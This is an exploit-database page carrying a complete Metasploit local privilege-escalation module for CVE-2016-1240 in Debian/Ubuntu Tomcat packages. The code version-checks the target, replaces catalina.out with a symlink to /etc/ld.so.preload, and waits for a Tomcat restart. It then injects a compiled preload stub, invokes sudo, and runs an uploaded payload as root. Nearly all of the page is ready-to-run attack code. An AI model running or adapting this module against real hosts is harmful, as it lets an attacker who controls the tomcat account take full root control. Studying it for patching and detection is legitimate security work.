Apache Tomcat On Ubuntu Log Init Privilege Escalation

Credit: h00die
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

### # # This exploit sample shows how an exploit module could be written to exploit # a bug in a command on a linux computer for priv esc. # ### class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking include Msf::Exploit::Retry include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::Linux::Compile prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Tomcat on Ubuntu Log Init Privilege Escalation', 'Description' => %q{ Tomcat (6, 7, 8) packages provided by default repositories on Debian-based distributions (including Debian, Ubuntu etc.) provide a vulnerable tomcat init script that allows local attackers who have already gained access to the tomcat account (for example, by exploiting an RCE vulnerability in a java web application hosted on Tomcat, uploading a webshell etc.) to escalate their privileges from tomcat user to root and fully compromise the target system. Tested against Tomcat 8.0.32-1ubuntu1.1 on Ubuntu 16.04 }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PYTHON ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 1800 # 30min }, 'References' => [ [ 'EDB', '40450' ], [ 'URL', 'https://ubuntu.com/security/notices/USN-3081-1'], [ 'URL', 'http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html'], [ 'CVE', '2016-1240'] ], 'DisclosureDate' => '2016-09-30', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_options [ OptString.new('CATALINA', [ true, 'Location of catalina.out file', '/var/log/tomcat8/catalina.out' ]) ] register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def base_dir datastore['WritableDir'].to_s end def preload '/etc/ld.so.preload' end def catalina datastore['CATALINA'] end def check package = cmd_exec('dpkg -l tomcat[6-8] | grep \'^i\'') if package.nil? || package.empty? return CheckCode::Safe('Unable to execute command to determine installed pacakges') end package = package.gsub('\s+', ' ') # replace whitespace with space so we can split easy package = package.split(' ') # 0 is ii for installed # 1 is tomcat# for package name # 2 is version number package = Rex::Version.new(package[2]) if (package.to_s.start_with?('8') && package < Rex::Version.new('8.0.32-1ubuntu1.2')) || (package.to_s.start_with?('7') && package < Rex::Version.new('7.0.52-1ubuntu0.7')) || (package.to_s.start_with?('6') && package < Rex::Version.new('6.0.35-1ubuntu3.8')) return CheckCode::Appears("Vulnerable app version detected: #{package}") end CheckCode::Safe("Unexploitable tomcat packages found: #{package}") end def exploit # Check if we're already root if is_root? && !datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end unless file? catalina fail_with Failure::BadConfig, "#{catalina} not found or still symlinked" end if file? preload fail_with Failure::BadConfig, "#{preload} found, check file as it needs to be removed for exploitation" end vprint_status("Creating backup of #{catalina}") @catalina_content = read_file(catalina) path = store_loot( catalina, 'text/plain', rhost, @catalina_content, 'catalina.out' ) print_good("Original #{catalina} backed up to #{path}") if live_compile? # upload our privesc stub so_stub = ".#{rand_text_alphanumeric(5..10)}.so" so_stub_path = "#{base_dir}/#{so_stub}" payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" # Upload exploit stub vprint_status "Compiling exploit stub: #{so_stub_path}" upload_and_compile so_stub_path, strip_comments(exploit_data('CVE-2016-1240', 'privesc_preload.c').gsub('$BACKDOORPATH', payload_path)), '-Wall -fPIC -shared -ldl' else payload_path = '/tmp/.jMeY5vToQl' so_stub = '.ny9NyKEPJ.so' so_stub_path = "/tmp/#{so_stub}" write_file(so_stub_path, exploit_data('CVE-2016-1240', 'stub.so')) end register_file_for_cleanup(so_stub_path) # Upload payload executable vprint_status("Uploading Payload to #{payload_path}") upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup(payload_path) # delete the log and symlink ld.so.preload vprint_status("Deleting #{catalina}") rm_f(catalina) vprint_status("Creating symlink from #{preload} to #{catalina}") cmd_exec("ln -s #{preload} #{catalina}") register_file_for_cleanup(catalina) # we now need tomcat to restart print_good("Waiting #{datastore['WfsDelay']} seconds on tomcat to re-open the logs aka a Tomcat service restart") succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do file? preload end unless succeeded print_error("#{preload} not found, exploit aborted") return end register_file_for_cleanup(preload) # now that we can write to ld.so.preload, use a SUID binary to execute our stub print_status("injecting #{so_stub_path} into #{preload}") cmd_exec "echo #{so_stub_path} > #{preload}" print_status('Escalating payload privileges via SUID binary (sudo)') cmd_exec 'sudo --help 2>/dev/null >/dev/null' print_status('Executing payload') cmd_exec payload_path end def cleanup if @catalina_content.nil? cmd_exec("touch #{catalina}") else write_file(catalina, @catalina_content) end super end end

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2023, cxsecurity.com


Back to Top